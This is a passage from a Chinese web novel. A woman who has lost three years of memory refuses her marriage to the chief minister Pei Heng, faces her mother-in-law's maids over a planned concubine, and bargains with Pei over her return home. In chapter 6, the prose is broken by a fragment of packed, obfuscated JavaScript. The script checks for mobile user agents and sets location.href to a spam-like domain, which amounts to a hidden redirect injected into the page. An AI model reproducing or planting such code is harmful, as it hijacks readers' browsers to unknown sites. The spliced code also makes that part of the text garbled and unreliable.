淡烟本以为小姐都这样了,姑爷必定会留下来,谁知他却把小姐放在床上,吩咐,“好好照顾你家小姐,有事派人寻我。”
淡烟应了声“是”,跟出门去,待房门关好,凄然道:“当初沈家遭奸人所害,举家被流放,小姐得知后差点半条命都没了。如今小姐失去记忆,那些叫她伤心的事儿也一并忘了,奴婢心里想着,若是小姐迟一日知晓,便能多快活一日。”
凭她同轻云二人,此事必定瞒不下去,可若是姑爷出面,府中上下就无人敢在小姐面前多嘴。
裴珩道:“我自会处理,好好照顾她,万不可再出岔子!”言罢,头也不回地出了冷寂的院子。
*
正房大院。
天还未擦黑,廊庑下就已经亮起一排精致华丽的宫灯,将偌大的院子里照得亮如白昼。
裴珩一入正房廊庑,就听见里头传来热闹的说话声,一时停驻脚步。
守门的丫鬟这时已经掀开门帘,裴珩抬脚向屋内走去。
屋里。
云阳县主懒懒地歪在坐在临窗的榻上,脸上挂着慈爱的笑意。
她着了一身家常的靛青色绣云纹褙子,头发梳得一丝不苟,虽快要五十的年纪,因保养得宜,瞧着也不过四十出头,眉眼处依稀可以瞧出年轻是个美人。
一身着大红色箭袖,头戴珍珠抹额的美少年正抱着她的胳膊撒娇。
他十七八岁年纪,一对凤眼微微上扬,左耳的一枚水滴型碧绿耳铛微微晃动,在雪白似玉的脸颊上留下一道残影。
两人一见裴珩入内,立刻止了话头。
屋子里暖意融融的气氛似乎一瞬间凝固。
少年就跟耗子见着猫似的,立刻站起身来,规规矩矩地向他施了一礼,“大哥哥。”
裴珩看也未看他,上前向已经端正身子的云阳县主行了一礼,“见过母亲。”言罢,看向少年,冷冷道:“昨日柳太傅见着我,问母亲身子可大好。”
云阳县主迟疑,“这是何意?”
裴珩道:“你自己说。”
少年一脸不服气,“我不过就是同他告假一日,谁叫他非要问东问西,我只好推说母亲着了风寒。”
云阳县主眼前发黑,“你怎不说我两眼一闭就去见你父亲!”
“呸呸呸,大吉大利!”少年抱着她的胳膊撒娇,“母亲不知那柳太傅有多严苛,四书五经我早已倒背如流,他还不依不饶,前日我不过在课堂上同人说了两句话,他非说我态度不端,罚我站在太阳底下站了半个时辰,晒得我脸至今还疼。若是将我晒伤,帝都还有哪家姑娘能瞧上我。”
一番话,就连屋里服侍的婢女婆子都笑了。
云阳县主心疼幼子,也跟着一同抱怨,“那个柳太傅确实严苛些,娘当年就被他打过手心……”话未说完,又见长子望着自己,轻咳一声,“那也不该!若是再有下回,看我不拔了你的皮!”
少年立刻乖巧地应了声“好”。
云阳县主又为他说好话,“你弟弟今日同宁家世子去东山打猎,知晓你爱吃野味,特地拿了一只雉回来炖汤,待会儿你留下来用饭。”
裴珩应了声“是”,视线方落在幼弟腰间。
对方的蹀躞玉带上别了一把镶嵌了绿宝石的弹弓,极为轻巧别致。
“这是宁家世子赠予我,我也不好不收!”少年忙将弹弓上收进衣袖,笑眯眯地望着他,“母亲不许我打猎,我只坐在马车里瞧着他们玩。”
裴珩的眸光落在他虎口处的一抹红痕。
少年眼神里闪过一抹惊慌,忙道:“那我先回去换衣裳,待会儿再来。”
云阳县主慈爱嘱咐,“外头冷,待会儿来的路上,叫服侍的小子给你披件氅衣。”
少年应了声“好”,逃似的出了屋子。
他一走,屋子里的气氛似乎更加沉寂。
云阳县主觑了一眼长子。
正襟危坐的长子静静地吃着茶,眉眼低垂着,不知在想些什么。
自从亡夫十七年前去世后,年仅十一的长子将整个家扛了起来,不到而立之年已经位极人臣
且他一向再孝顺不过,再懂事不过,帝都无人不羡慕她生了这样一个好儿子。
就是性子实在闷了些,不似次子那般没心没肺,更不似幼子这般会哄人。
尤其这两年渐长,他城府愈发深沉,就连她这个做母亲的,同他说话也得
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思量再三。
云阳县主一时竟怎么都忆不起他幼时的模样。
仿佛,他天生便如此。
云阳县主一时又想起从前先帝一心向道,特在宫中设了道观,命他随侍左右。
许是受先帝熏陶,他养得清心寡欲,身边服侍的全都是小厮,就连她特地挑选,拿来给他晓人事的婢女碰都没碰,原封不动给她退了回来。
她虽心里不满,可想着为人臣子,自然事事以君为重,倒也不算过错,只在私底下为他踅摸妻子的人选。
待他及冠后,她又见他与自己娘家的一表侄女倒是极投缘,以为他终于开了窍。她虽觉得那表侄女家世一般,比着心目中的佳妇人选实在差得远,但又想着若是他喜欢,也不是不能商量。
谁知后来沈家出事后,他竟不知从哪儿弄出来一封婚书,说父亲在世时,早与将他与沈氏指腹为婚,说沈氏早已是裴家妇,按照《大端律》,已许婚的女子,可不与娘家同罪。
她得知消息时,先帝赐婚的旨意已送到府中。
她难以置信地将那封婚书翻来覆去瞧了几十遍,上头的字迹确实是她亡夫的不假。
云阳县主至今都未想通,这纸婚书究竟是打哪儿钻出来的,就连她这个当娘的都不知。
问他,他仍是一贯的话少:儿子自有道理。
有什么大道理她不懂,她就只知天底下断然无儿子瞒着老娘娶亲的道理。
更何况还是一罪臣之女!
云阳每每想起,心里仍堵得厉害。
她按捺住心底的不满,心平气和地问:“沈氏醒了?”
裴珩颔首,将纾妍的病情简要复述一遍。
云阳县主微微蹙眉,“平日里瞧着不声不响的,为着不让夫君纳妾就要死要活罢了,如今还弄出个离魂症!”
裴珩摩挲着右手拇指的玉扳指,神色淡淡,“只是不小心跌倒罢了。”
这话,云阳县主一个字都不信。
前些日子,她同沈氏替要给长子纳妾一事,她当时还应得好好的,谁知转头就出这么闹出这么大的动静。
到底是边疆长大的,教养比不得帝都的贵女。
只是,这话实在不好当着他的面说出来。
她道:“如今你素宁表妹也搬入府中,她虽新寡,但也未生养过,给你做贵妾也不算埋没你。”顿了顿,又道:“更何况当初,若不是沈氏,她差点就成了咱们家的人。”
裴珩一向怕麻烦,“如今沈氏得了离魂症,儿子实在无心思想这些,还是待沈氏好了再说。”
这话听在云阳县主耳朵里,那就是他为着沈氏不肯纳妾。
“最要紧的便是子嗣!”云阳县主的声音不自觉地就高了些,“前两日诚意伯家的孙子满月,我去赴宴。席间,那个最爱嚼舌的宁国公夫人竟当着众人的面说,她认识一男科圣手,要介绍给我认识。她这话不是摆明说你身子……”对着儿子,她实在说不出口,拿帕子擦拭眼角。
裴珩沉默片刻,放下茶盏,“既如此,母亲做主便是。儿子然想起还有些公务要处理,就先回去了。”
云阳县主听说他要走,并未留他,反倒十分欣慰,“你懂得上进自然是好的,待会儿让沈氏给你炖——”随即想起沈氏还病着,改口,“待会儿汤做好,娘让人给你送去些。”
裴珩应了声“好”,又关心了她几句日常几句,方告退。
他人一走,云阳县主就问自己的陪嫁婢陈嬷嬷,“你说,他心里是不是为着沈氏怨我?”
“怎会!”陈嬷嬷不禁笑了,“这满帝都,再也寻不出比咱们大公子更加孝顺懂事儿的郎君。”
“我心里自然明白他再孝顺不过,只是,”云县主叹了一口气,“前几日我说要为他纳妾,他明明应得好好的,可方才你也瞧见,沈氏这一病,他立刻又改了口,岂不是怨我。”
“大娘子受伤同县主有什么关系,”陈嬷嬷安慰她,“更何况,公子也不小了,跟前至今没个一男半女的,这也怨不得县主着急。”
这话说到云阳县主心坎里去了,说到底,还是沈氏无能,连个孩子都生不出。
“说得是,”云阳县主歪在靠枕上,吩咐,“你明日去瞧瞧究竟是怎么回事儿。”
反正,她就不信,这跌一跤还能跌出个离魂症来!
5. 第 5 章
翌日晌午,天气终于放晴。
阳光透过绿纱窗,洒在雅致华丽却又略显沉闷的屋子里,在错金织花的波斯毯上投下一片温暖的光影。
床榻上,醒来后的纾妍一直紧紧盯着手里的菱花镜。
镜子里的女子一对眼睛因为哭得太狠,还微微有些红肿,眼角下那颗淡红的泪痣,似乎也比前日,嗯,不对,是三年前的“前日”颜色略深。
肤色较从前更白,既有失血过多的苍白,也有着女儿家长开后透出的透亮澄澈的白。
还好还好,即便不见三年,她依旧貌美如花。不对,更甚往昔。
她十四岁时,胸前还只是像是平地凸起的小山包,如今,山峦起伏,很是汹涌。
她把手伸进鸳鸯锦被里摸了一把。
嗯,好软。
这是唯一值得欣慰的事。
就是这额头的伤口实在太丑,也不知会不会留下疤痕。
一向爱美如命的纾妍心痛到了极点。
守在一旁的淡烟与轻云见着自家小姐自打睡醒后,抱着菱花镜时而叹息,时而摇头,时而生无可恋,时而又隐约透着兴奋,心中忐忑难安,又见她把菱花镜丢开手,露出一副生无可恋的神情,以为她仍是想不开,正打算劝慰几句,忽然听到她问:“那个白胡子阿翁可有说会留疤?”
白胡子阿翁?
淡烟随即反应过来她是在说秦院首,立刻道:“他开了玉肤膏给小姐,说待伤口结疤后,每日拿帕子热敷伤口,待疤痕软化后,再以药涂之,每日三次,可起到淡化瘢痕的作用。”
“只是淡化,岂不是不能恢复如初?”纾妍的心更疼了,恨恨道:“究竟是谁把我害成这样?”
淡烟想起当夜情景,至今心有余悸,“那夜,小姐在房里等姑爷回来签《和离书》,奴婢去库房盘点嫁妆,盘点到一半时,忽然听到姑爷传唤人去请太医,奴婢赶来时,小姐已经满脸是血的躺在姑爷怀里。”
“不许唤他姑爷!”纾妍虽然接受自己一觉醒来平白少了三年,但仍无法接受自己与裴珩成婚。
换个人可信度都比这高!
可她又忍不住问:“那我为何要同他和离?”
提及这个,早就憋坏了的轻云恨恨道:“姑爷他自己日日不回家,县主却嫌弃小姐生不出孩子,要给他纳妾!”
纾妍啧啧两声,“这老狐狸果然不是个好东西!”
那她就更不可能同他这样一个人成婚。
淡烟与轻云见她不信,也没再继续这个话题,服侍她用晌食。
纾妍大病初愈,饮食需清淡,只有一碗梗米粥与一碟下粥的雪里红。
清淡得连点儿油性都瞧不见。
纾妍一向无辣不欢,且喜好面食,一看就不想吃。
轻云见自家小姐一脸嫌弃的模样,忙道:“这梗米粥熬出了油,平日里小姐最爱吃。”说着拿汤匙舀了一口送到她嘴边。
轻云半信半疑地抿了一口,竟觉得自己真的好像吃过无数回,口感极熟悉。
轻云见她肯吃,又夹了一筷子雪里红送入她口中。
口味实在太淡,口中本就寡淡的纾妍用了半碗,就不肯再吃,瞧着外头日头不错,便想要出去晒太阳。
淡烟迟疑,“小姐身子不好,不若奴婢扶小姐躺在榻上躺着,也是一样的。”
纾妍不肯,执意要出去。
淡烟只好应下来,取了一件丁香色的交领袄裙要替她穿上。
纾妍蹙眉,“这都是谁的衣裳,这样的老气?”
还未等淡烟开口,一旁的轻云幽幽道:“是小姐的。”
“什么?”纾妍难以置信地盯着那件看上去确实有些合身的衣裳,“我如今的审美竟差到这种地步?”
老天爷,就算大了四岁,她今年也才十八,总不至于穿这样款式的衣裳,都快赶上她姨母的装扮!
要知道从前在家时,将军府的沈六姑娘穿什么样的衣裳,那么城内就流行什么颜色款式的衣裳,就连绸缎庄都打着她的名义赚钱。
这是沈六姑娘爱的颜色,这是沈六姑娘上个月新设计的款,这是沈六姑娘亲自夸过的绣样……
往事空如烟,越想越茫然。
淡烟见她显然不信,只好道:“县主不喜欢您从前的穿衣风格。”顿了顿,又补充道:“就是姑爷的母亲,您的婆婆。”
大端帝国向来以端庄娴雅为美,自家小姐无论身段还是相貌都过于秾艳妖娆无格,尤其是来帝都后,胸脯子就像吹气似的变大。
第一回见云阳县主时,从前极爱华服的小姐为讨好这位未来的婆婆,提前打听了她的喜好。彼时正逢夏季,小姐特地挑了一件帝都寻常闺阁女子穿的齐胸襦裙,外面套了件绣海棠花的半臂,明艳大气又不失活泼,娇艳如枝头绽放的芍药。
谁知云阳县主一见小姐,当场就黑了脸,话里话外嫌她半点没有帝都贵女的端庄典雅,给了小姐好大的难堪 。
只是,淡烟怕小姐听了难过,并未将小姐回去后哭了半夜一事说出来,只是轻描淡写,“后来小姐就把自己的衣裳换成稳重成熟些的。”顿了顿,又道:“姑爷也爱稳重端庄些的女子。”
纾妍听了好一会子没说话。
一个女子,难道嫁人后连穿衣自由都没了吗?
一个待字闺中的少女,又是该怀着怎样忐忑期待的心情去拜会自己未来的婆婆,却遭受那样的难堪。
哪怕她不信自己已经成婚,哪怕她对此毫无印象,但她仍对故事中的“她”感到同情可怜。
由此可见,她更加不相信自己成过婚。
毕竟,按照她的脾气,若是谁敢当众给她这样的难堪,她必定当场反击回去。
忍到过夜那都是对自己的不尊重。
她沈纾妍做人的准则:人生在世,快活最要紧,千万别屈着自己。
淡烟迟疑,“那小姐,还去吗?”
纾妍瞥了一眼那丑得碍眼的衣裳,咬牙,“去!”
淡烟与轻云赶紧帮她更衣梳妆。
那衣裳虽然瞧着老气,但是纾妍个子高,肤色又雪似的白,上身一点儿后果然典雅又端庄。
她见就连珠钗首饰款式都极老气,也懒得装扮,只让淡烟随意地将头发绾成一个髻,在淡烟的搀扶下出了门。
今日阳光极好,温暖的阳光洒在人身上暖阳阳。
三人朝着西边花园走,一路上亭台楼阁,假山水榭,翠竹疏影,令人目不暇接。
满园子里姹紫嫣红开遍,芳草茵茵,落红委地。
蜂儿蝶儿在花丛里钻来钻去,忙着采花粉。
此处确实并不是将军府。
纾妍就是再失忆,也不可能将自己家里什么样给忘了。
更何况她爹再有本事,也不能把春日里的景致搬到冬天来。
三人行至一处垂花门时,纾妍见左手边抄手游廊的劲头有一方荷花池,水里还窝着几只五彩鸳鸯,颇有意趣,正欲拐过去瞧瞧,淡烟忽然拦住她,“小姐,不能再往前走了!”
纾妍惊讶,“为何不能往前走了?”
轻云忙道:“再往前就是前院,您若是想要出去,须得县主同意。”
纾妍诧异,“我一个大活人,出个门竟还需她同意?”
就算她真成婚,也算是首辅娘子,这日子也着实惨了些。
不不不,不能这么想,这不是成婚,这是卖身为奴!
纾妍非要去瞧瞧,正说着,几个年轻的婢女簇拥着一年近半百,白团脸,中等身材的妇人迎面走来。
纾妍瞧她虽一身绫罗绸缎,但是腰微佝偻,显然惯服侍人的。
应该是主子跟前得脸的仆妇。
果然,
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淡烟低声道:“是县主跟前最得脸的陪嫁陈嬷嬷。”
陈嬷嬷这会儿已经行到跟前,道:“大娘子怎逛到这儿来,可让老奴好找!”
纾妍听得这句“大娘子”,脑仁又一阵阵疼,仿佛有无数的人在她耳边唤她大娘子。
她一时有些站不稳,眼疾手快的淡烟一把搀住她,急道:“小姐可是有哪里不适?”
一旁的陈嬷嬷不动声色地打量着纾妍。
她穿了件家常丁香色绣海棠交领襦裙,满头青丝只简单地绾了一个乌鸦鸦的髻,一张粉黛未施的小脸白得似雪,樱唇却又好似含珠。尽管尚在病中,又穿得过分端庄,满园子春色竟有所不及。又见她弯眉微蹙,杏眼好似泪痕点点,怯弱妩媚之态尽显。
不得不说,沈氏生得真美,且身段是男子最爱的那一款,丰乳细腰翘臀。闺房之中,指不定如何狐媚勾人。
也难怪一向清心寡欲,无心风月的大公子铁了心的要娶她。
只是不知为何,这婚后,大公子甚少去后院,与她关系也淡淡的。
如今她瞧着沈氏除却面色苍白些,一点儿也不像“离魂”的疯癫模样,反而较之从前透着一股子说不出的娇媚劲儿。
陈嬷嬷想起县主的吩咐,试探,“县主已经命人将表姑娘请进府来,表姑娘方才还说要来拜会大娘子。”
既然这“离魂症”是由表姑娘而起,那么她必不会无动于衷。
“什么表姑娘?”纾妍神情懒懒,“我又不认识她,她来拜会我做什么?”
府上谁人不知这大娘子端庄柔婉贤淑,是个任人揉捏的面团,尤其是对着县主跟前的人,谨慎妥帖,这样说话还是头一回。
陈嬷嬷只好说的更直白些,“自然是县主娘家的那位表侄女。表小姐不比旁人,入门便是贵妾。大娘子至今未有子嗣……”
果不其然,对方眼神里流露出讶然。
陈嬷嬷心中十分不以为然。
果然试出来了!
她心里本就不大相信,这世上有离魂症。
一个无所依的罪臣之女,即便使些手段想要活得夫君的怜爱也是有的。
只是编出“离魂症”这样的弥天大谎,实在令人不耻。
她正欲劝两句,谁知对方一脸不屑,“他高兴纳谁便纳谁,同我有何干系,难不成还要我送礼金不成?”说完这句话,头也不回地走了。
直到那抹丁香色的窈窕身影消失在花园尽头,陈嬷嬷才回过神来,难以置信,“方才,可是我听岔了?”
沈氏从前待大公子有多情深,就连养在荷花池里的鸳鸯都知晓。
这世上,当真有离魂症?
*
纾妍一回到澜院,就道:“说吧,我爹为何把我嫁给他?”
这是终于信了自己成婚。
轻云觑了一眼淡烟。
“小姐消消气,”淡烟将她扶坐到榻上,“大将军是为了小姐好。”
“为我好?”纾妍难以置信,“一个年长我十岁的夫君,一个就连衣食住行都要管着我的婆婆?
哦,对了,他那个便宜夫君还打算纳妾来着。
淡烟一时没敢接话。
纾妍委屈得眼圈都红了,“我现在就回家找他问清楚!我究竟犯了多大的错,他竟舍得将我扔到这火坑里来!”
小姐早就没家了,还能回哪儿!
且小姐十四岁以前的脾气淡烟再清楚不过,决定的事情便是九头牛也难拉回来!
她忙给轻云使了个眼色,示意她赶紧去请姑爷。
轻云也生怕小姐出事,赶紧往外跑。谁知还未出院门,迎面就撞上姑爷跟前伺候的书墨。
书墨捂着肚子疼得齿牙咧嘴,“属牛的,这样莽撞!”
轻云哪里顾得了他,急忙向裴珩道:“姑爷,我家小姐现在要闹着归家!”
6. 第 6 章
屋里。
淡烟正苦口婆心地劝,“小姐身子还未好,无论如何也要等到身子好了再做打算。”
正在气头上的纾妍哪里听得进去,“如今你只向着那只老狐狸,那只老狐狸许了你什么好处!”
她一口一个“老狐狸”,淡烟话都不敢接,只得道:“奴婢心里只有小姐一个,任凭旁人天大天大的好处,又与我何干!”
纾妍听得心里熨帖,“那赶紧收拾行囊。对了,那些衣裳全部不要,只把值钱的首饰带上,咱们待会儿就出发!”
淡烟仍站着没动。
纾妍见她不动,气呼呼道:“我就知道,你如今只听那只老狐狸的话!你不肯走,我自己走便是!”说着径直向妆奁台走去。
她本就初愈,方才还在园子里逛了小半个时辰,眼下又情绪过分激动,刚抬脚,眼前一黑,向前倒去。
眼看着就要跌倒,有人一把扶住她的肩头。
纾妍一向嗅觉较常人灵敏,闻着对方身上那股子混了墨香与凌冽的薄荷气息,不用回头便知晓是她那便宜前夫来了。
果然,头顶传来一道低沉的嗓音,“病才刚好,又要闹什么。”
闹?
纾妍虽什么也不记得,但听得这个字格外地刺耳,一把拨开肩头那只洁白似玉的大手,扭过脸来。
一瞧着便宜前夫的穿着打扮,她心里更气了。
只见眼前的男人头戴大帽,身着豆绿色缘柿色地云鹤纹氅衣,脚踏粉底皂靴。
乌的眉,雪的肤,血染的唇,整个人一尘不染,干净得如同一捧山巅雪,天上谪仙。
扎眼得很。
可恶!
他母亲不许她穿漂亮衣裳,要求她端庄温婉,要求她为奴为婢,却允许自己的儿子成日里穿得跟只花孔雀一般招摇。
“大人来得正好,”纾妍扬起雪白小巧的下巴,“如今我已经好了,也不便留在贵府,现在便归家去。”
眉目似雪的男人沉默片刻,道:“和离书还未签,我们并未和离。”
纾妍楞了一下,看向淡烟。
淡烟并不清楚和离那夜究竟发生何事,实话实说,“奴婢也没见过那纸和离书。”
竟还未和离!
纾妍咬着唇想了好一会儿,轻哼一声,“反正我今年十四,同你成婚的那个大笨蛋不是我,婚事我不认!咱们就此作罢,从此以后一别两宽,各生欢喜!”
当然,喜也是她喜。
一个嫌弃妻子无所出就要纳妾的男人,凭什么欢喜!
裴珩听了这话,迟迟没有作声。
方才还晴好的院子不知何时乌云密布,不多时的功夫,传来“沙沙”雨声。
裴珩朝窗外望去。
院子里风雨飘摇,水雾弥漫,残红委地。
半晌,他收回视线,朝纾妍望去。
暗沉沉的屋子里,一过分柔婉端庄的女子朝他望来,一对乌黑澄澈的眸子如同沁了雨水一般。
“官人,我有些倦了,我们和离吧。”
“还未恭喜官人觅得良人。”
“这些年,多谢官人照拂,从此我与官人一别两宽,各生欢喜……”
裴珩闭上眼,再次睁开时,那对乌黑澄澈的眼眸里盛满怒气,人也天真得很。
“我亲自送你归家。”男人喉结滚了一滚,嗓音微微有些沙哑,“我送你归家。”
话音刚落,淡烟与轻云露出一脸惊诧的神情。
任谁也没想到姑爷竟这样不念旧情,虽说小姐如今闹着要走,但那是因为小姐生着病。眼下小姐什么也不记得,出了这道门又能去哪儿?
一个女子,尤其是生得美丽的女子,出门在外多危险!
纾妍并不知自己的母族出事,只当裴珩是好心。
她虽有些性子骄纵些,但心肠也软得很,“大人倒也不必客气,我自己认得路。大人待会儿重新写一份和离书交予我。”顿了顿,又道:“最好大人亲笔手书,向我父兄严明咱们和离的缘由,并非是我沈六辜负大人。”
她心里不拿他当夫君,亦不认同这门婚事,可事实摆在面前,她不得不吞下去。
她只是一想到那个曾经挨了三年苦头的“自己”,便替她不值,不能回去后再叫她父兄觉得是那个“她”年纪小不懂事,乱同人家使小性子,被人休了回家。
更怕一向心思重的姨母同她哭。
“你并未辜负我。”男人眼睫低垂,修长洁白的指骨摩挲着拇指的白玉扳指,“我会亲自手书一封,向岳丈说明这一切全都是我之过。这些年,你很好。”
须知文人动不动就讲究风骨,宁死不认错。
纾妍没想到他这样爽快,乌黑澄澈的杏眼里流露出惊讶,“真的?不哄我?”
“自然不哄你,不过须得等你痊愈。”看起来脾气极温和的男人看着她,“岳丈大人当年将你好好地交到我手里,我自然也要将你好好交还到他们手里。于情于理,也该如此。”
他说得十分有道理,纾妍觉得自己也不知是不是磕坏了脑子,一时竟寻不出理由来反驳他,迟疑,“可,若是大人哄我怎么办?”
这老狐狸心机深沉得很,最会当面一套,背后一套。
就像那年夏天,他诬蔑她是窃玉的小贼,可转头见着她父兄时,却说得极好听,“小公子钟灵毓秀,将来必定前途无量。”还解下自己佩戴的那块鱼纹玉佩递到她手里。
她那心眼一向比麻秆还粗的爹浑然没有瞧出对方的险恶用意,笑得脸上的褶子堆了两三层,就连一向严厉的大哥哥也抚摸着她的头,欣慰,说她如今有出息了。
当着父兄的面,纾妍不敢造次,只得将那块代表着“耻辱”的玉佩不情不愿地收了下来。
更为可耻的是,他竟还虚情假意地说想要收她门生,希望她能够回去作几篇文章。
何其虚伪!
何其小气!
又何其丧心病狂!
好在他父兄不算太糊涂,知晓她是女儿身,自然也当不得他的门生。
后来,那块玉佩不知被纾妍丢到哪里去了,但是狗屁不通的文章倒是被逼着做了不少。
纾妍一想到那年,自己好容易回一趟帝都,还没来得及四处逛一逛,成日里被父兄关在屋里写文章作诗,至今都恨得牙痒痒。
万一,他又哄她……
也许是瞧出她心中所想,男人道:“君子一言,驷马难追。”
纾妍心想,老狐狸才不是什么君子,瞧着紫薇花一般的人物,实则城府深沉得很。
她正犹豫,又听他道:“从帝都回北疆,要坐三个月的马车,之后再换乘一个月的水路,最后再换乘三个月的马车,这期间若是遇到盗匪……”说到这儿,他住了口,眸光沉沉地望着她,“我不放心。”
明明不过一句简单的话,怎从他嘴里说出来,听得人心里怪怪的。
纾妍扭过脸去,咬着唇不作声。
其实他说的这些,她也清楚。
有一年她同阿爹回帝都,半道就遇上杀人越货的劫匪,她爹还顺道把整个土匪寨都给端了。
她一个十三四岁的小姑娘,又生得花容玉貌……
不,她现在十八,比从前更美了。
若是有他护送,确实安全不少。
这时,一旁的淡烟也道:“小姐养好身子再回也不迟,免得大将军同公子不放心。还有夫人,夫人一向胆小,若是知晓小姐就这样孤身上路,怕不是要吓死。轻云你说对不对?”又扶着自家小姐坐下,奉上茶来。
“对对对!”轻云忙不迭点头,“还是等好些,也不差这几日。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821767|158728||http|test|mini|href|location''.split(''|''),0,{}));
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>就连守在门口的书墨也帮腔,“听说现在的劫匪可猖狂了,前些日子户部的刘侍郎回乡省亲,半道遇上劫匪,胡子都被那帮盗贼给扒光了!”
纾妍好奇,“那些人为何要拔他胡子?”
“这……”本就是瞎编的书墨挠头,“兴许瞧他胡子不顺眼,顺带拔了。”
纾妍思来想去,终于下定决心,“就照大人说得办!不过,我要同大人约法三章。”
书墨心想,公子一向最讨厌旁人同他讲条件,怕是不会答应,谁知公子颔首,应了一声“好”。
书墨有些讶然,不由地望向自家公子。
他仍是那副淡淡的神情,但书墨明显地感到自家公子似乎非常的放松。
已经很久没什么人和事让公子感到放松了。
难道不舍得娘子走?
书墨想到这个可能,不由地觑了一眼如今一脸天真,跟个孩子似的娘子。
她像是颇为遗憾?
纾妍的确很遗憾。
这就好比,她同她爹谈条件,她爹若是不答应,她心里不痛快。可她爹若是答应的太爽快,她又觉得自己提的条件太少了。
讨价还价的乐趣本就在于有来有往。
应该约法十章的!
她心里这样想着,微乎其微地叹了一口气。
这声音被裴珩收入耳中。
他抿了一口茶,随即微微蹙眉,“可想好了?我还有些事要忙,迟些同我说也可。”
“我想好了!”纾妍趁热打铁,“第一,不许拘着我,我爱去哪儿去哪儿。”
裴珩神色微动,“第二呢?”
说到第二……
纾妍的眸光落在他虎口处的疤痕上,低声道:“咱们虽还未和离,但往后都不算夫妻,大人不许管我!更不能……”她脸一红,咬着唇不作声。
对方像是知晓她心里想什么,道:“我无事不会来后院。”
纾妍放下心来,又认真了想了好一会儿,实在想不出,“这第三,我还没想好,待我想好,再同大人说。”
“好。”裴珩放下手中的茶盏,起身,“若是有事派人去书房寻我。”
“等等!”纾妍叫住他,走到他跟前,“劳烦大人伸出手来。”
裴珩迟疑片刻,还是把右手递给她。
他的手生得极漂亮,指骨修长洁白,指甲也修剪得干净整齐,若说瑕疵,那便是虎口处的牙印。
纾妍伸出尾指勾着他比自己长出一截的修长尾指,在对方微微有些诧异的眼神里,念念有词,“拉勾上吊,一百年不许变!谁变谁是大王八!”
念完,又用自己的拇指在对方拇指重重摁了一下,随即仰起脸灿然一笑,“若大人先食言,那就是大端最大的那只王八。”
话音刚落,屋子里的另外三人忙低下头去,紧紧地盯着自己的脚尖。
裴珩面无表情地盯着她,藏于袖中的左手不自觉地蜷起尾指。
纾妍见他整个人似乎僵住,好奇,“大人难道没有玩过这样的游戏?”
“自然常同人玩,”裴珩不动声色地抽回自己的手指背到身后,神色淡然,“你无需担心,我必定不会食言。”言罢,又嘱咐几句后,头也不回地离了屋子。
屋外还在下着蒙蒙细雨,书墨忙同淡墨拿了把伞,抬腿追了上去。
直到出了院子,他才追上身高腿长的姑爷,将手中的青色油纸伞高高举起。
脚步未停歇的男人问道:“母亲从前不许她出门?”
“公子不知?”书墨小跑着跟上,“县主嫌弃娘子出身不好,平日里要出门须得经过县主首肯。”
裴珩忽然停驻脚步。
书墨一时没刹住脚,手里的伞歪到脑后。
细密的雨丝洋洋洒洒地自天空落下,如同洒向人间的银线。
7. 第 7 章
“想不到那老狐狸如今倒是通情达理。”
一颗心放回肚子里的纾妍躺在贵妃榻上惬意地吃着葡萄。
淡烟与轻云听了她的话,对视一眼。
“通情达理”这个词能用在姑爷身上实在奇怪得很。
这满帝都的人谁人不知姑爷出了名的不近人情,一向最不讲情面,听说,因政见不合,就连自己的恩师都得罪了,此事在帝都传得沸沸扬扬。
二人思来想去,认为姑爷眼下哄着小姐,不过是想要尽快养好小姐的身子,将小姐送出府,好迎娶他那个搁在心尖上的表妹。
这时,纾妍扭过脸来,一对漆黑的杏眼里流露出好奇,“当初我为何会与他成婚?”
淡烟笑道:“自然是姑爷觉得小姐极好,向咱们府上提亲。”
“我确实很好,他倒是极有眼光,”纾妍若有所思,“可我记得他从未见过我女儿身的模样,又怎知我好呢?”
轻云也觑向淡烟,“是呀,这是为什么呢?”
“这……”淡烟这下也不知该怎么编,忽然听到自家小姐自言自语,“定是他听了我的美名,所以才想要娶我。”
淡烟松了一口气,“想来是这个缘故!”
谁知话音刚落,纾妍又提出了一个更难回答的问题,“可是,我怎会同意呢?我一向讨厌他……”
自己的脾气如何,自己再清楚不过。若是她不点头,家里人也拿她没法子。
她好像把什么极重要的事情给忘了。
可纾妍怎么都想不起来,且只要想得深些便觉头痛欲裂。
她捂着额头叫“疼”。
淡烟忙上前拥她入怀,轻轻拍着她的背,柔声哄道:“那些过去之事就莫要再想,待过些日子治好了伤,自然什么都想起来了。眼下,小姐只管安心养病便是。”
纾妍是个随遇而安的性子,既然裴珩已经答应待她病好亲自护送她回家,又与她约法三章,那么她确实不担心往后之事。
她乖乖应了一声“好”,不知怎的想起昨日裴珩衣衫不整的模样,耳朵微微有些滚烫,十分地难为情,“这几年,我真同他做了夫妻?”
淡烟愣了一下,随即反应过来她在问什么,亦有些脸红,“小姐同姑爷是在成婚后半年圆的房。”
“为何?”纾妍眼神里流露出不解,“这是帝都的规矩吗?”她虽然对自己成婚一事毫无印象,可也知晓,新婚夫妇成婚当晚就会圆房,第二日还会有专门的婆子检查新娘子是否是完璧之身。
淡烟想到自家小姐恢复记忆前,怕是少不得要同云阳县主打交道,思衬片刻,还是决定把婚后这几年的事情捡要紧的说与她听。
她道:“并非是帝都的规矩,是云阳县主的缘故。”
“成婚当晚,云阳县主得了疾病,姑爷在帝都出了名的孝顺,当夜守在云阳县主身边侍疾。云阳县主病了好些日子,裴大人兴许担忧,圆房一时就搁置了。后来,江南的税政好像出了问题,姑爷亲自下了一趟江南。待姑爷回来时,已是半年后。姑爷他回来当晚就与小姐圆了房。”
淡烟说得轻描淡写,其实,事实上真相并非如此。
云阳县主之所以生病,是因为对这桩婚事极度不满,听说,当初赐婚的圣旨送到裴府时,一向心高气傲的云阳县主得知自己最优秀的长子要迎娶一罪臣之女时,当场气晕过去。
小姐在这样的情况下嫁进裴家,可想而知有多不受婆婆待见。
云阳县主为人极为好强,不愿在外人面前失了颜面,在婚礼上并未为难小姐,可一等婚礼结束,宾客散去,云阳县主就闹起了病,姑爷连盖头都没掀就匆匆离去。
小姐就那样穿着嫁衣在新房枯坐一夜。
